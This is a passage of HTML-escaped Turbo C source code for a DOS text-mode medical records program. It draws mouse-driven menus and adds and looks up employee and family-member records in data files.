/&gt;fs=fopen("medical3.dat","r+");&lt;br /&gt;if(fs==NULL)&lt;br /&gt;{&lt;br /&gt; fs=fopen("medical3.dat","w+");&lt;br /&gt;    if(fs==NULL)&lt;br /&gt;        {&lt;br /&gt;   printf("cannot open file");&lt;br /&gt;        }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt; textmode(3);&lt;br /&gt; clrscr();&lt;br /&gt; TABLE();&lt;br /&gt; TABLE1();&lt;br /&gt;&lt;br /&gt;if(initmouse()==0)&lt;br /&gt;{&lt;br /&gt;      printf("mouse driver not loaded");&lt;br /&gt;      exit(1);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt; showmouseptr();&lt;br /&gt; getmousepos(&amp;button,&amp;x,&amp;y);&lt;br /&gt;&lt;br /&gt;while(!kbhit())&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;    getmousepos(&amp;button,&amp;x,&amp;y);&lt;br /&gt;    MAINMENU();&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;//gotoxy(65,4);&lt;br /&gt;//printf("x=%03d,y=%03d",x,y);&lt;br /&gt;&lt;br /&gt;       }//While loop ended&lt;br /&gt;fclose(fp);&lt;br /&gt;fclose(ft);&lt;br /&gt;fclose(fs);&lt;br /&gt;}//Void main ended&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;TABLE()&lt;br /&gt;{&lt;br /&gt;int i,j;&lt;br /&gt;textbackground(BLACK);&lt;br /&gt;//Taken from save1.c to use keys&lt;br /&gt;/* _AH=0;&lt;br /&gt;   _AL=3;&lt;br /&gt;   geninterrupt(0x10);&lt;br /&gt;   if((*mode1 &amp;0x30)== 0x30)&lt;br /&gt;      scr=(char far*) 0xb0000000;     //0xb0000000;&lt;br /&gt;   else&lt;br /&gt;      scr=(char far*) 0xb8000000;&lt;br /&gt;   begin:&lt;br /&gt;   r=4;&lt;br /&gt;   c=20;//upto here */&lt;br /&gt;clrscr();&lt;br /&gt;_setcursortype(_NOCURSOR);&lt;br /&gt;textcolor(WHITE);&lt;br /&gt;textbackground(4);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(1,2);&lt;br /&gt;cprintf("É");&lt;br /&gt;for(i=2;i&lt;79;i++){gotoxy(i,j=2);cprintf("Í");}gotoxy(79,2);cprintf("»");for(j=3;j&lt;25;j++){gotoxy(i=1,j);cprintf("º");}gotoxy(1,25);cprintf("È");for(i=2;i&lt;79;i++){gotoxy(i,j=25);cprintf("Í");}gotoxy(79,25);cprintf("¼");for(j=3;j&lt;25;j++){gotoxy(i=79,j);cprintf("º");}for(i=2;i&lt;40;i++){gotoxy(i,j=4);delay(10);cprintf("Ä");gotoxy(i,j=23);delay(1);cprintf("Ä");}for(i=78;i&gt;=40;i--)&lt;br /&gt;{&lt;br /&gt;gotoxy(i,j=4);&lt;br /&gt;delay(10);&lt;br /&gt;cprintf("Ä");&lt;br /&gt;gotoxy(i,j=23);&lt;br /&gt;delay(10);&lt;br /&gt;cprintf("Ä");&lt;br /&gt;}&lt;br /&gt;for(i=2;i&lt;79;i++){for(j=3;j&lt;=3;j++){textcolor(4);textbackground(8);highvideo();gotoxy(i,j);cprintf("°");}}for(i=2;i&lt;79;i++){for(j=24;j&lt;25;j++){textcolor(4);highvideo();gotoxy(i,j);cprintf("°");}}textcolor(4);lowvideo();gotoxy(5,8);cprintf("      Ü   ");gotoxy(5,9);cprintf("   ÜÜÜÛÜÜÜ");gotoxy(5,10);cprintf("      Û   ");gotoxy(64,8);cprintf("   Ü      ");gotoxy(64,9);cprintf("ÜÜÜÛÜÜÜ   ");gotoxy(64,10);cprintf("   Û      ");textcolor(10);highvideo();gotoxy(25,5);cprintf("ÛßÜßÛ Ûßß ÛßÜ ßÛß Ûßß ÜßÜ Û");delay(200);gotoxy(25,6);cprintf("Û   Û ÛÛ  Û  Û Û  Û   ÛÜÛ Û");delay(200);gotoxy(25,7);cprintf("Û   Û ÛÜÜ ÛÜß ÜÛÜ ÛÜÜ Û Û ÛÜÜ");delay(200);gotoxy(25,9);cprintf("ÛßÜ  Ûßß  Ûßß  ÛßÛ  ÛßÜ  ÛßÜ");delay(200);gotoxy(25,10);cprintf("ÛÜß  ÛÛ   Û    Û Û  ÛÜß  Û  Û ");delay(200);gotoxy(25,11);cprintf("Û ßÜ ÛÜÜ  ÛÜÜ  ÛÜÛ  Û ßÜ ÛÜß  ");delay(200);gotoxy(10,13);cprintf("ÛßÜßÛ ÜßÜ ßÛß ÛßÜ  Û ßßÛßß ÜßÜ ßÛß ÛßÜ  Û ßÛß ÛßÜ  Û   Ûß ");delay(200);gotoxy(10,14);cprintf("Û   Û ÛÜÛ  Û  Û  Û Û   Û   ÛÜÛ  Û  Û  Û Û  Û  Û  Û Û Ûß  ÜßßÜ");delay(200);gotoxy(10,15);cprintf("Û   Û Û Û ÜÛÜ Û   ÛÛ   Û   Û Û ÜÛÜ Û   ÛÛ ÜÛÜ Û   ÛÛ  ßÜÜÜÛ Û");delay(200);gotoxy(21,17);cprintf("Ûßß  ßÜ   Üß  Ûßß  ßßÛßß  Ûßß  ÛßÜßÛ");delay(200);gotoxy(21,18);cprintf(" ßÜ     Û      ßÜ    Û    ÛÛ   Û   Û");delay(200);gotoxy(21,19);cprintf("ÜÜÜÛ    Û     ÜÜÜÛ   Û    ÛÜÜ  Û   Û");//Taken from save1.c/*gotoxy(3,22);   printf(" HELP ");   gotoxy(73,22);   printf(" NEXT ");   while(ch!=13)   {      for(x=3;x&lt;73;x++)  setattr(x,20,US);      setattr(r,c,SE);      gotoxy(36,11);      ch=getch();      if(ch=='H'||ch=='h')      {  if(r==4)     r=4;  else     r--;      }      else if(ch=='P'||ch=='p')      {  if(r==8)     r=8;  else     r++;      }}      ch=' ';   y=r-3; */textcolor(YELLOW+BLINK);textbackground(1);highvideo();gotoxy(2,22);cprintf("                     Press any key to continue......");getch();}TABLE1(){ int i,j; textcolor(WHITE); textbackground(1); clrscr(); highvideo(); _setcursortype(_NOCURSOR); gotoxy(1,2); cprintf("Ú");     for(i=2;i&lt;79;i++)       { gotoxy(i,j=2); cprintf("Ä");       } gotoxy(79,2); cprintf("¿");     for(j=3;j&lt;25;j++)       { gotoxy(i=1,j); cprintf("³");       } gotoxy(1,25); cprintf("À");      for(i=2;i&lt;79;i++) {  gotoxy(i,j=25);  cprintf("Ä"); } gotoxy(79,25); cprintf("Ù");      for(j=3;j&lt;25;j++) {  gotoxy(i=79,j);  cprintf("³"); } gotoxy(1,4); cprintf("Ã"); gotoxy(79,4); cprintf("´");      for(i=2;i&lt;79;i++) {  gotoxy(i,j=4);  cprintf("Ä"); } gotoxy(1,6); cprintf("Ã"); gotoxy(79,6); cprintf("´");       for(i=2;i&lt;79;i++)  {   gotoxy(i,j=6);   cprintf("Ä");  } gotoxy(2,5); cprintf("³"); gotoxy(78,5); cprintf("³"); textcolor(6+BLINK); textbackground(8); highvideo(); gotoxy(1,1); cprintf(""); gotoxy(33,1); textbackground(8); textcolor(10+BLINK); highvideo(); cprintf(" MAIN____MENU "); highvideo(); gotoxy(9,5); textcolor(BLACK); textbackground(4); cprintf(" FILE "); gotoxy(28,5); cprintf(" EDIT "); gotoxy(47,5); cprintf(" HELP "); gotoxy(66,5); cprintf(" EXIT "); }/***************************************************************************/ //FUNCTION TO INITALISE MOUSE/***************************************************************************/initmouse(){   i.x.ax=0;   int86(0x33,&amp;i,&amp;o);   return(o.x.ax);}/***************************************************************************/ //FUNCTION TO SHOW MOUSE POINTER/***************************************************************************/showmouseptr(){   i.x.ax=1;   int86(0x33,&amp;i,&amp;o);}/***************************************************************************/ //FUNCTION TO GET CO-ORDINATES OF THE MOUSE POINTER/***************************************************************************/getmousepos(int *button,int *x,int *y)//function to get coordinates{      i.x.ax=3;      int86(0x33,&amp;i,&amp;o);      *button=o.x.bx;      *x=o.x.cx;      *y=o.x.dx;}/***************************************************************************/ //FUNCTION TO RESTRICT MOUSE POINTER(row wise)/***************************************************************************/restrictmouseptr(){    i.x.ax=8;    int86(0x33,&amp;i,&amp;o);}/***************************************************************************/ //FUNCTION TO RESTRICT MOUSE POINTER(column wise)/***************************************************************************/restrictmouseptr1(){   i.x.ax=7;   int86(0x33,&amp;i,&amp;o);}/***************************************************************************/ //FUNCTION TO HIDE MOUSE POINTER/***************************************************************************/hidemouseptr(){    i.x.ax=2;    int86(0x33,&amp;i,&amp;o);}/***************************************************************************/ //FUNCTION TO RESTRICT MOUSE POINTER BETWEEN CERTAIN CO_ORDINATES/***************************************************************************/restrictmouseptr2(int a1,int a2,int b1,int b2){   i.x.ax=7;   i.x.cx=a1;   i.x.dx=a2;   int86(0x33,&amp;i,&amp;o);   i.x.ax=8;   i.x.cx=b1;   i.x.dx=b2;   int86(0x33,&amp;i,&amp;o);}/***************************************************************************/ //FUNCTION FOR ARROW KEYS/***************************************************************************/void setattr(int row,int col,int attr){   for(w=3;w&lt;78;w++)   {      *(scr+row*160+col*2+1)=attr;      col++;   }}MAINMENU(){if((button &amp;1)==1)         //Mouse click event{   FILE1();   EDIT();   HELP();   EXIT1();   ADD();   NEW();   ENTRY();   SEARCHEMP();   DELETEEMP();   UPDATEEMP();   OUTENTRY();   SEARCHOUT();   UPDATEOUT();   DELETEOUT();   HELPTOPICS();   ABOUT();}//MOUSE click event ended}/***************************************************************************/         /*FILE MENU*//***************************************************************************/FILE1() {if((x&gt;=56&amp;&amp;y==32)&amp;&amp;(x&lt;=104&amp;&amp;y==32))  //Coordinate for FILE menu started{gotoxy(28,5); //For EDIT menutextcolor(BLACK);textbackground(4);cprintf(" EDIT ");gotoxy(23,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b&lt;16;b++){gotoxy(a=23,b);textbackground(1);cprintf("                      ");} //EDIT MENU ENDED//For HELP menugotoxy(47,5);textcolor(BLACK);textbackground(RED);cprintf(" HELP ");gotoxy(42,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b&lt;13;b++){gotoxy(a=41,b);textbackground(1);cprintf("                        ");}//HELP menu ended//for About.. menufor(a=24;a&lt;=48;a++){for(b=16;b&lt;=23;b++){textbackground(1);gotoxy(a,b);cprintf("                         ");}}//For About.. menu completed//For FILE menu startedgotoxy(9,5);textcolor(7);textbackground(8);highvideo();cprintf(" FILE ");gotoxy(3,6);textcolor(WHITE);textbackground(WHITE);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(3,7);textcolor(WHITE);textbackground(WHITE);cprintf(" ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ");for(b=8;b&lt;12;b++){delay(5);gotoxy(a=3,b);textcolor(WHITE);textbackground(WHITE);cprintf(" ³");}for(b=8;b&lt;12;b++){gotoxy(a=21,b);textcolor(WHITE);textbackground(WHITE);cprintf("³ ");}gotoxy(3,12);textcolor(WHITE);textbackground(WHITE);cprintf(" Ã");gotoxy(21,12);cprintf("´ ");for(b=13;b&lt;=16;b++){gotoxy(a=3,b);cprintf(" ³");}for(b=13;b&lt;=16;b++){gotoxy(a=21,b);cprintf("³ ");}gotoxy(3,16);cprintf(" À");gotoxy(21,16);cprintf("Ù ");for(a=5;a&lt;21;a++){gotoxy(a,b=16);cprintf("Ä");}//for loop endedfor(a=5;a&lt;21;a++){gotoxy(a,b=12);cprintf("Ä");}//for loop endedtextcolor(RED+BLINK);textbackground(7);gotoxy(5,8);cprintf("For Employee....");textcolor(8);textbackground(WHITE);lowvideo();gotoxy(5,9);cprintf("ADD EMP. RECORD ");gotoxy(5,10);cprintf("   NEW ENTRY    ");gotoxy(5,11);cprintf(" SEARCH  ENTRY  ");textcolor(5+BLINK);textbackground(7);gotoxy(5,13);cprintf("For Outsiders...");textcolor(8);textbackground(7);gotoxy(5,14);lowvideo();cprintf(" PATIENT ENTRY  ");gotoxy(5,15);cprintf(" SEARCH ENTRY   ");for(a=6;a&lt;=23;a++){textbackground(8);gotoxy(a,17);delay(1);cprintf(" ");}for(b=7;b&lt;=17;b++){textbackground(8);textcolor(8);gotoxy(23,b);cprintf(" ");}}//If statement of FILE menu completed}/***************************************************************************/       /*EDIT MENU*//***************************************************************************/EDIT(){if((x&gt;=208&amp;&amp;y==32)&amp;&amp;(x&lt;=256&amp;&amp;y==32))//Coordinate for EDIT menu started{//For FILE MENUgotoxy(9,5);textcolor(BLACK);textbackground(4);cprintf(" FILE ");gotoxy(3,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b&lt;11;b++){gotoxy(a=3,b);textbackground(1);cprintf("                    ");}for(b=11;b&lt;18;b++){gotoxy(a=3,b);textbackground(1);cprintf("                      ");}//FILE MENU ENDED//For HELP menugotoxy(47,5);textcolor(BLACK);textbackground(RED);cprintf(" HELP ");gotoxy(42,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b&lt;13;b++){gotoxy(a=41,b);textbackground(1);cprintf("                        ");}//HELP menu ended//for About.. menufor(a=24;a&lt;=48;a++){for(b=16;b&lt;=23;b++){textbackground(1);gotoxy(a,b);cprintf("                         ");}}//For About.. menu completedgotoxy(28,5);textcolor(7);textbackground(8);highvideo();cprintf(" EDIT ");gotoxy(23,6);textcolor(WHITE);textbackground(7);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(23,7);textcolor(WHITE);textbackground(7);cprintf(" ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ");for(b=8;b&lt;14;b++){delay(5);gotoxy(a=23,b);textcolor(WHITE);textbackground(7);cprintf(" ³");}for(b=8;b&lt;14;b++){gotoxy(a=40,b);textcolor(WHITE);textbackground(7);cprintf("³ ");}gotoxy(23,14);textcolor(WHITE);textbackground(7);cprintf(" À");gotoxy(40,14);cprintf("Ù ");for(a=25;a&lt;40;a++){gotoxy(a,b=14);cprintf("Ä");}//for loop endedtextcolor(4+BLINK);textbackground(7);gotoxy(25,8);cprintf("For Employee...");textcolor(5+BLINK);textbackground(7);gotoxy(25,11);cprintf("For Outsiders..");textcolor(8);textbackground(7);lowvideo();gotoxy(25,9);cprintf(" DELETE ENTRY  ");gotoxy(25,10);cprintf(" UPDATE ENTRY  ");gotoxy(25,12);cprintf(" DELETE ENTRY  ");gotoxy(25,13);cprintf(" UPDATE ENTRY  ");for(b=7;b&lt;=15;b++){textbackground(8);gotoxy(42,b);cprintf(" ");}for(a=26;a&lt;=40;a++){textbackground(8);gotoxy(a,15);cprintf("  ");}}//If statement of EDIT menu completed}/***************************************************************************/        /*HELP MENU*//***************************************************************************/HELP(){if((x&gt;=368&amp;&amp;y==32)&amp;&amp;(x&lt;=408&amp;&amp;y==32))//Coordinate of HELP menu started{//For EDIT menugotoxy(28,5);textcolor(BLACK);textbackground(4);cprintf(" EDIT ");gotoxy(23,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b&lt;16;b++){gotoxy(a=23,b);textbackground(1);cprintf("                      ");} //EDIT MENU ENDED//For FILE MENUgotoxy(9,5);textcolor(BLACK);textbackground(4);cprintf(" FILE ");gotoxy(3,6);highvideo();textcolor(WHITE);textbackground(1);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");for(b=7;b&lt;11;b++){gotoxy(a=3,b);textbackground(1);cprintf("                    ");}for(b=11;b&lt;18;b++){gotoxy(a=3,b);textbackground(1);cprintf("                      ");}//FILE MENU ENDED//for About.. menufor(a=24;a&lt;=48;a++){for(b=16;b&lt;=23;b++){textbackground(1);gotoxy(a,b);cprintf("                         ");}}//For About.. menu completed//HELP menu startedtextcolor(7);textbackground(8);highvideo();gotoxy(47,5);cprintf(" HELP ");gotoxy(42,6);textcolor(WHITE);textbackground(7);cprintf("ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ");gotoxy(42,7);textcolor(WHITE);textbackground(7);cprintf(" ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ");for(b=8;b&lt;10;b++){delay(5);gotoxy(a=42,b);textcolor(WHITE);textbackground(7);cprintf(" ³");}for(b=8;b&lt;10;b++){gotoxy(a=59,b);textcolor(WHITE);textbackground(7);cprintf("³ ");}gotoxy(42,10);textcolor(WHITE);textbackground(7);cprintf(" À");gotoxy(59,10);cprintf("Ù ");for(a=44;a&lt;59;a++){gotoxy(a,b=10);cprintf("Ä");}//for loop endedtextbackground(7);textcolor(8);lowvideo();gotoxy(44,8);cprintf("HELP TOPICS    ");textbackground(7);textcolor(8);lowvideo();gotoxy(44,9);cprintf("About......    ");textbackground(BLACK);for(b=7;b&lt;12;b++){gotoxy(61,b);cprintf(" ");}for(a=45;a&lt;61;a++){gotoxy(a,11);cprintf("  ");}} //If statement of HELP menu completed}/***************************************************************************/       /*EXIT MENU*//***************************************************************************/EXIT1(){//for About.. menufor(a=24;a&lt;=48;a++){for(b=16;b&lt;=23;b++){textbackground(1);gotoxy(a,b);cprintf("                         ");}}//For About.. menu completed//IF statement for EXIT menu startedif(x&gt;=520&amp;&amp;y==32&amp;&amp;x&lt;=560&amp;&amp;y==32){delay(100);exit(0);}//If statement for EXIT menu completed}/***************************************************************************//****************************ADD EMP.RECORDS********************************/ADD(){//If statement for ADD EMP. RECORDSif(x&gt;=32&amp;&amp;y==64&amp;&amp;x&lt;=152&amp;&amp;y==64){fp=fopen("medical1.dat","r+");if(fp==NULL){     fp=fopen("medical1.dat","w+");//file open for write only  if(fp==NULL)      {        printf("Cannot open file");      }}do{textcolor(WHITE);textbackground(BLACK);clrscr();restrictmouseptr();hidemouseptr();_setcursortype(_SOLIDCURSOR);textcolor(8+BLINK);textbackground(7);lowvideo();gotoxy(3,1);cprintf("                           NEW EMPLOYEE RECORD");textcolor(7);highvideo();for(a=3;a&lt;79;a++){gotoxy(a,13);cprintf("Û");}for(b=2;b&lt;13;b++){gotoxy(2,b);cprintf("Û");}for(b=2;b&lt;13;b++){gotoxy(79,b);cprintf("Û");}textcolor(10);textbackground(BLACK);highvideo();gotoxy(3,2);cprintf("Ú");for(a=4;a&lt;79;a++){gotoxy(a,2);cprintf("Ä");}gotoxy(78,2);cprintf("¿");for(b=3;b&lt;12;b++){gotoxy(3,b);cprintf("³");}gotoxy(3,12);cprintf("À");for(a=4;a&lt;78;a++){gotoxy(a,12);cprintf("Ä");}gotoxy(78,12);cprintf("Ù");for(b=3;b&lt;12;b++){gotoxy(78,b);cprintf("³");}fseek(fp,0,SEEK_END);gotoxy(4,4);cprintf("Employee Name-&gt;");&lt;br /&gt;gotoxy(4,6);&lt;br /&gt;cprintf("Employee No.-&gt;");&lt;br /&gt;gotoxy(4,8);&lt;br /&gt;cprintf("Employee Dept.-&gt;");&lt;br /&gt;gotoxy(4,10);&lt;br /&gt;cprintf("Number of Members");&lt;br /&gt;gotoxy(21,10);&lt;br /&gt;textcolor(5);&lt;br /&gt;cprintf("(Max. 5)-&gt;");&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,21);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                                 ");&lt;br /&gt;textcolor(7);&lt;br /&gt;gotoxy(19,4);&lt;br /&gt;highvideo();&lt;br /&gt;cprintf("                                                           ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(19,4);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(e.empname);&lt;br /&gt;if(strlen(e.empname)==0 || strlen(e.empname)&gt;25)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;gotoxy(22,21);&lt;br /&gt;cprintf("THE NAME CAN NOT BE SET BLANK OR &gt;25");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,21);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                                 ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(18,6);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(e.empno);&lt;br /&gt;if(strlen(e.empno)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;gotoxy(22,21);&lt;br /&gt;cprintf("THIS FIELD CANNOT BE LEFT BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,21);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                                 ");&lt;br /&gt;gotoxy(20,8);&lt;br /&gt;cprintf("                                                          ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(20,8);&lt;br /&gt;fflush(stdin);&lt;br /&gt;gets(e.empdept);&lt;br /&gt;if(strlen(e.empdept)==0 || strlen(e.empdept)&gt;25)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;gotoxy(22,21);&lt;br /&gt;cprintf("EMP. DEPT. CAN NOT LEFT BLANK OR &gt;25");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;gotoxy(31,10);&lt;br /&gt;scanf("%d",&amp;member);&lt;br /&gt;&lt;br /&gt;textcolor(YELLOW+BLINK);&lt;br /&gt;textbackground(RED);&lt;br /&gt;gotoxy(24,15);&lt;br /&gt;cprintf("    MEMBERS  NAME    ");&lt;br /&gt;/**textcolor(YELLOW);&lt;br /&gt;textbackground(RED);&lt;br /&gt;gotoxy(35,15);&lt;br /&gt;cprintf(" Sex ");&lt;br /&gt;textcolor(YELLOW);&lt;br /&gt;textbackground(RED);&lt;br /&gt;gotoxy(44,15);&lt;br /&gt;cprintf(" Allergic To ");*/&lt;br /&gt;gotoxy(1,16);&lt;br /&gt;cprintf("");&lt;br /&gt;for(a=0;a&lt;member;a++){fflush(stdin);printf("   %d:",a+1);scanf("%s",names[a]);fflush(stdin);strcpy(e.memname,names[a]);fwrite(&amp;e,sizeof(e),1,fp);}fclose(fp);gotoxy(18,23);textcolor(10);textbackground(8);highvideo();cprintf("WANT TO ENTER MORE RECORDS(y/n)-&gt;");&lt;br /&gt;another=getche();&lt;br /&gt;}while(another=='y' || another=='Y');&lt;br /&gt;gotoxy(15,25);&lt;br /&gt;textcolor(10);&lt;br /&gt;textbackground(4);&lt;br /&gt;highvideo();&lt;br /&gt;cprintf("  Press Esc to EXIT or M to Return to MAIN MENU.... ");&lt;br /&gt;a=getch();&lt;br /&gt;if(a==109)&lt;br /&gt;{&lt;br /&gt;main();&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;exit(0);&lt;br /&gt;}&lt;br /&gt;} //If statement of ADD EMP.records completed&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/*************************************************************************&lt;br /&gt;**/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;/****************************NEW&lt;br /&gt;ENTRY***************************************/&lt;br /&gt;NEW()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;//If statement for NEW ENTRY started&lt;br /&gt;if(x&gt;=32&amp;&amp;y==72&amp;&amp;x&lt;=152&amp;&amp;y==72){fp=fopen("medical1.dat","r+");if(fp==NULL){     fp=fopen("medical1.dat","w+");//file open for write only  if(fp==NULL)      {        printf("Cannot open file");      }}/*_AH=0;   _AL=3;   geninterrupt(0x10);   if((*mode1 &amp;0x30)== 0x30)      scr=(char far*) 0xb0000000;     //0xb0000000;   else      scr=(char far*) 0xb8000000;   begin:   r=15;   c=20;//upto here */textcolor(WHITE);textbackground(BLACK);clrscr();_setcursortype(_SOLIDCURSOR);textcolor(8+BLINK);textbackground(7);lowvideo();gotoxy(1,1);cprintf("                             NEW ENTRY FOR EMPLOYEE");restrictmouseptr2(112,456,128,168);textcolor(5);textbackground(BLACK);highvideo();gotoxy(1,2);cprintf("Ú");for(a=2;a&lt;79;a++){gotoxy(a,2);cprintf("Ä");}gotoxy(79,2);cprintf("¿");for(b=3;b&lt;13;b++){gotoxy(1,b);cprintf("³");}gotoxy(1,13);cprintf("À");for(a=2;a&lt;79;a++){gotoxy(a,13);cprintf("Ä");}gotoxy(79,13);cprintf("Ù");for(b=3;b&lt;13;b++){gotoxy(79,b);cprintf("³");}textcolor(10);highvideo();gotoxy(2,3);cprintf("Employee Name-&gt;");&lt;br /&gt;gotoxy(2,5);&lt;br /&gt;cprintf("Employee No.-&gt;");&lt;br /&gt;gotoxy(2,7);&lt;br /&gt;cprintf("Employee Dept.-&gt;");&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,11);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                          ");&lt;br /&gt;textcolor(7);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(17,3);&lt;br /&gt;cprintf("                                                              &lt;br /&gt;");&lt;br /&gt;fflush(stdin);&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(17,3);&lt;br /&gt;gets(name3);&lt;br /&gt;if(strlen(name3)==0 || strlen(name3)&gt;25)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;gotoxy(22,11);&lt;br /&gt;cprintf("THE NAME CAN NOT BE LEFT BLANK OR &gt;25");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,11);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                            ");&lt;br /&gt;fflush(stdin);&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(16,5);&lt;br /&gt;gets(no);&lt;br /&gt;if(strlen(no)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;gotoxy(22,11);&lt;br /&gt;cprintf("THE EMP. No. FIELD CAN NOT BE LEFT BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;while(!flag);&lt;br /&gt;&lt;br /&gt;do&lt;br /&gt;{&lt;br /&gt;gotoxy(22,11);&lt;br /&gt;textbackground(8);&lt;br /&gt;cprintf("                                          ");&lt;br /&gt;flag=1;&lt;br /&gt;gotoxy(18,7);&lt;br /&gt;gets(dept);&lt;br /&gt;if(strlen(dept)==0)&lt;br /&gt;{&lt;br /&gt;flag=0;&lt;br /&gt;gotoxy(22,11);&lt;br /&gt;cprintf("THE EMP. DEPT. FIELD CAN NOT BE LEFT BLANK");&lt;br /&gt;getch();&lt;br /&gt;}&lt;br /&gt;}while(!flag);&lt;br /&gt;textcolor(6+BLINK);&lt;br /&gt;textbackground(4);&lt;br /&gt;highvideo();&lt;br /&gt;gotoxy(14,15);&lt;br /&gt;cprintf("               MEMBERS____NAME                ");&lt;br /&gt;gotoxy(14,16);&lt;br /&gt;printf("ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»");&lt;br /&gt;_setcursortype(_NOCURSOR);&lt;br /&gt;&lt;br /&gt;rewind(fp);&lt;br /&gt;while(fread(&amp;e,sizeof(e),1,fp)==1)&lt;br /&gt;{&lt;br /&gt;if(strcmp(e.empno,no)==0)&lt;br /&gt;{&lt;br /&gt;len=strlen(e.memname);&lt;br /&gt;for(a=0;a&lt;=len;a++){e.memname[a]=toupper(e.memname[a]);}printf("   %s",e.memname);}}fclose(fp);for(b=17;b&lt;=22;b++){gotoxy(14,b);printf("º");}for(b=17;b&lt;=22;b++){gotoxy(59,b);printf("º");}gotoxy(14,23);printf("ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼");gotoxy(19,25);textcolor(6);textbackground(8);highvideo();cprintf(" Click on Member's name For Entry Form ");/*while(ch!=13)   {      for(x=15;x&lt;21;x++)  setattr(x,20,US);      setattr(r,c,SE);      gotoxy(36,21);      ch=getch();      if(ch=='H'||ch=='h')      {  if(r==15)     r=15;  else     r--;      }      else if(ch=='P'||ch=='p')      {  if(r==19)     r=19;  else     r++;      }      else if(ch=='1')      {  r=4;      }      else if(ch=='2')      {  r=5;      }      else if(ch=='3')      {  r=6;      }      else if(ch=='4')      {  r=7;      }      else if(ch=='5')      {  r=8;      }   }   ch=' ';   y=r-14;*/}//If statement for NEW RECORDS completed}/***************************************************************************//*****************************NEW ENTRYFORM********************************/ENTRY(){if((x&gt;=112&amp;&amp;y==128&amp;&amp;x&lt;=456&amp;&amp;y==128) || (x&gt;=112&amp;&amp;y==136&amp;&amp;x&lt;=456&amp;&amp;y==136) ||(x&gt;=112&amp;&amp;y==144&amp;&amp;x&lt;=456&amp;&amp;y==144) || (x&gt;=112&amp;&amp;y==152&amp;&amp;x&lt;=456&amp;&amp;y==152) ||(x&gt;=112&amp;&amp;y==160&amp;&amp;x&lt;=456&amp;&amp;y==160) || 